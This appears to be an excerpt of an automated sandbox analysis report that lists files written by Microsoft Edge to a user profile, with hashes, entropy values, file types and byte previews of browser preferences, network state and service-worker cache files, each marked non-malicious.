SHA-512:	00B43AF01681C54A83E6B49CD5E857644867215000D472260485D8DB943BECBFDF2BFB78C788EF49DC3F3BFF415A7B2FE940E903C8028FD72D24E9443296EF5F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.299581843702865
Encrypted:	false
SSDEEP:	24:YcCp/WRdsyEyZVMdmwC5mWRdsXZFRudFGRw6ma3yeesw6C1VdsyyZFGJ/I3w6ma0:YcCpWs6uCvsJfc7leeBRsfgCgkhYhbp
MD5:	4AD71DB0B888FDAC96A9AF49EBE24424
SHA1:	0ECC61E908936C3A6021D885A59AD98E305A97A4
SHA-256:	B01FE00714F7B89C8487088BF97EE6288C18D8F1C413F1CBE74EDF41405D8DA0
SHA-512:	478B594C73534F4DCB023ABA2B28100BA6FF29774ABECE70EAE68CBA457A60F28E53BDC6FB448EE168E34F58BF719F79C664906BD1873F1E3F8DF9CD39636872
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343561982935006","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343561983636053","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF3b566.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.299581843702865
Encrypted:	false
SSDEEP:	24:YcCp/WRdsyEyZVMdmwC5mWRdsXZFRudFGRw6ma3yeesw6C1VdsyyZFGJ/I3w6ma0:YcCpWs6uCvsJfc7leeBRsfgCgkhYhbp
MD5:	4AD71DB0B888FDAC96A9AF49EBE24424
SHA1:	0ECC61E908936C3A6021D885A59AD98E305A97A4
SHA-256:	B01FE00714F7B89C8487088BF97EE6288C18D8F1C413F1CBE74EDF41405D8DA0
SHA-512:	478B594C73534F4DCB023ABA2B28100BA6FF29774ABECE70EAE68CBA457A60F28E53BDC6FB448EE168E34F58BF719F79C664906BD1873F1E3F8DF9CD39636872
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343561982935006","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343561983636053","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2786887893900167
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBoJ:JkIEumQv8m1ccnvS6a9ajiiDiPNk1a
MD5:	DBBAEF138087706BFB1B35E02E3A9F96
SHA1:	363FFB4AEAB4C48EE4DE203ACCAD3F7C89F5D75D
SHA-256:	17D3ED97C656189DA8AA8A06D81F3190725C60BD75D9EA4DC89F0047A1ED7E5F
SHA-512:	D922ADE33D93C5621C0CEC271766CA44103C84C87E6B766AE490518E4DB4EED4B977A2582EA4F314AC5A2BEA6FB96F4A837DDE0BDED2AD6FE6F17F6FFA2769A6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2a4c2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2bf2f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9575
Entropy (8bit):	5.105598409275584
Encrypted:	false
SSDEEP:	192:stMkdpysuOEIJZVkce+8hbV+FKSQA2f+nPjYJ:stMQysuOEiZibGHQ/
MD5:	11EC99673EE238320464B974EFACDBCD
SHA1:	D51928E114BBC4CA93F8EEB36484412643ADE519
SHA-256:	34E1FD7EDF063DECE23A5A0C45A19901CF83E17FDAE93B2896713CA277839D6C
SHA-512:	5F68B165152A5E6C6E8C280CA841F18F01496BEF080487D7A812FAF3562BD3F419CBBCB0244B19F2ACA09B7CB5DA443DE851E45F8CBB42BE721B7C1EFBDFB118
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376591443384661","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2eb8f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9575
Entropy (8bit):	5.105598409275584
Encrypted:	false
SSDEEP:	192:stMkdpysuOEIJZVkce+8hbV+FKSQA2f+nPjYJ:stMQysuOEiZibGHQ/
MD5:	11EC99673EE238320464B974EFACDBCD
SHA1:	D51928E114BBC4CA93F8EEB36484412643ADE519
SHA-256:	34E1FD7EDF063DECE23A5A0C45A19901CF83E17FDAE93B2896713CA277839D6C
SHA-512:	5F68B165152A5E6C6E8C280CA841F18F01496BEF080487D7A812FAF3562BD3F419CBBCB0244B19F2ACA09B7CB5DA443DE851E45F8CBB42BE721B7C1EFBDFB118
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376591443384661","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF330d5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9575
Entropy (8bit):	5.105598409275584
Encrypted:	false
SSDEEP:	192:stMkdpysuOEIJZVkce+8hbV+FKSQA2f+nPjYJ:stMQysuOEiZibGHQ/
MD5:	11EC99673EE238320464B974EFACDBCD
SHA1:	D51928E114BBC4CA93F8EEB36484412643ADE519
SHA-256:	34E1FD7EDF063DECE23A5A0C45A19901CF83E17FDAE93B2896713CA277839D6C
SHA-512:	5F68B165152A5E6C6E8C280CA841F18F01496BEF080487D7A812FAF3562BD3F419CBBCB0244B19F2ACA09B7CB5DA443DE851E45F8CBB42BE721B7C1EFBDFB118
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376591443384661","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3a605.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9575
Entropy (8bit):	5.105598409275584
Encrypted:	false
SSDEEP:	192:stMkdpysuOEIJZVkce+8hbV+FKSQA2f+nPjYJ:stMQysuOEiZibGHQ/
MD5:	11EC99673EE238320464B974EFACDBCD
SHA1:	D51928E114BBC4CA93F8EEB36484412643ADE519
SHA-256:	34E1FD7EDF063DECE23A5A0C45A19901CF83E17FDAE93B2896713CA277839D6C
SHA-512:	5F68B165152A5E6C6E8C280CA841F18F01496BEF080487D7A812FAF3562BD3F419CBBCB0244B19F2ACA09B7CB5DA443DE851E45F8CBB42BE721B7C1EFBDFB118
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376591443384661","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567807739655588
Encrypted:	false
SSDEEP:	768:R17UuoWPzPf258F1+UoAYDCx9Tuqh0VfUC9xbog/OVYt75jrwZfbp8U8tud:R17UuoWPzPf25u1ja5N5Yt8tS
MD5:	D44E9878F3627D0AACCAC235F3F98551
SHA1:	068AB7D3D35682F2C8D9847DD7F8CC077D354FDE
SHA-256:	C5EB6B6C460D1CDF59CD1C10D2ED36E7D7AAC25F63C21C2312568F1A3551E785
SHA-512:	A2B43C13F1707652BA565C7D077C75999C80769175578D3BF59A8127DB2CC69E10423D539E2DF2124C236C4B9D4B6C171E42EB1321FE1307CD00785EFF661700
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376591442839443","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376591442839443","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2e630.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567807739655588
Encrypted:	false
SSDEEP:	768:R17UuoWPzPf258F1+UoAYDCx9Tuqh0VfUC9xbog/OVYt75jrwZfbp8U8tud:R17UuoWPzPf25u1ja5N5Yt8tS
MD5:	D44E9878F3627D0AACCAC235F3F98551
SHA1:	068AB7D3D35682F2C8D9847DD7F8CC077D354FDE
SHA-256:	C5EB6B6C460D1CDF59CD1C10D2ED36E7D7AAC25F63C21C2312568F1A3551E785
SHA-512:	A2B43C13F1707652BA565C7D077C75999C80769175578D3BF59A8127DB2CC69E10423D539E2DF2124C236C4B9D4B6C171E42EB1321FE1307CD00785EFF661700
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376591442839443","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376591442839443","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.839126582775381
Encrypted:	false
SSDEEP:	48:F2emctrdDNTfBHXrdw6ghrrdDNWBFrd7BW:F1mctxDFtxv8rxDWxM
MD5:	447283DB28C6C5008A545FEADDAF6635
SHA1:	0CA1263DE3BAF5C89ABF35123133FA2FAAA7BD16
SHA-256:	0CB192A6B91981CC06BB42FDCF74FDD15331C6FFF01EB9EB256BB92618F5D5C1
SHA-512:	12629CE2E97B883302A693DEC328537821A870097B314DE8F764547690FE952E48EA91FF4BCF8F2AF6095B158043C2BD1E85BA0A1ADBC8526988E2F3AC6A01E1
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.q.~m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.0999293654784355
Encrypted:	false
SSDEEP:	6:HHoMmAB1qLTwi23oH+TcwtE/a252KLlVHuo+q2PqLTwi23oH+TcwtE/a2ZIFUv:noMmAowZYeb8xL/D+v8wZYeb8J2FUv
MD5:	F649C3866E2E4BC2450BE1B9A62D6AB9
SHA1:	781EA16F06BEEB8597131431B495B36AE5CA2F2A
SHA-256:	E871A7E1F9E2E036B18FCED34114DF6E1DE88A01426DDB73C623F5FE1E143DFF
SHA-512:	E0D4E8BE868B5F6C34A7FB513998AF5F3A320366AE79D8BEFA9ADF3EDCDE80A840A4FC219E5489C63F63AC7151435BC57E9F34C73AD5B8BF383766F0B9BEF06A
Malicious:	false
Preview:	2024/11/20-10:50:59.079 1adc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/20-10:50:59.091 1adc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114179
Entropy (8bit):	5.578190780067662
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKZpcktoEt:d9LyxPXfOxr1lMe1nL/CL/TXEmaCi
MD5:	F9E89F78397E46084C6C11A5F0D7F9AB
SHA1:	B009752C1D5ED630C3F17EDD5EA75AD215C3CDC0
SHA-256:	B66C623AF2D31B93BFD6B935B61433254F0088A7F93EF40DFE8D7E8A303E0F16
SHA-512:	38328781CFB0C098436672001BA39EE74F6EE8713DB18A1F561A5A1A11A50EC4A2846D26D8CC94DB8C20E1D3A6E62170DAC560ECAA3E2C1529AAC6D8C8BB4F4E
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188673
Entropy (8bit):	6.387459371771054
Encrypted:	false
SSDEEP:	3072:jO/fSCGFXQwyOlp92sL/pJKMHJUt3Rkxug5+H:RQw3pQsL/e8yRbgc
MD5:	1F6FE8424C3F81A082B63A4052C64EE5
SHA1:	D7EC00FB41A765364D4B99BF201396762CF7D17C
SHA-256:	4F10479AB072203C37DE840C8E30B1D6390490BD872E73487AB5C08A5B5B710E
SHA-512:	8A96266F9CE4673FC177B1A7A4FCF7A8B4753AEAAFC0F9087327137B06006B5546548CAFA4AC9597A39FE42253783FE62F219F283C6440E7A0EA26A1D095D3D4
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......Rc..b....exports...Rc...^....module....Rc.$i....define....Rb..`.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..p'.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....W...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
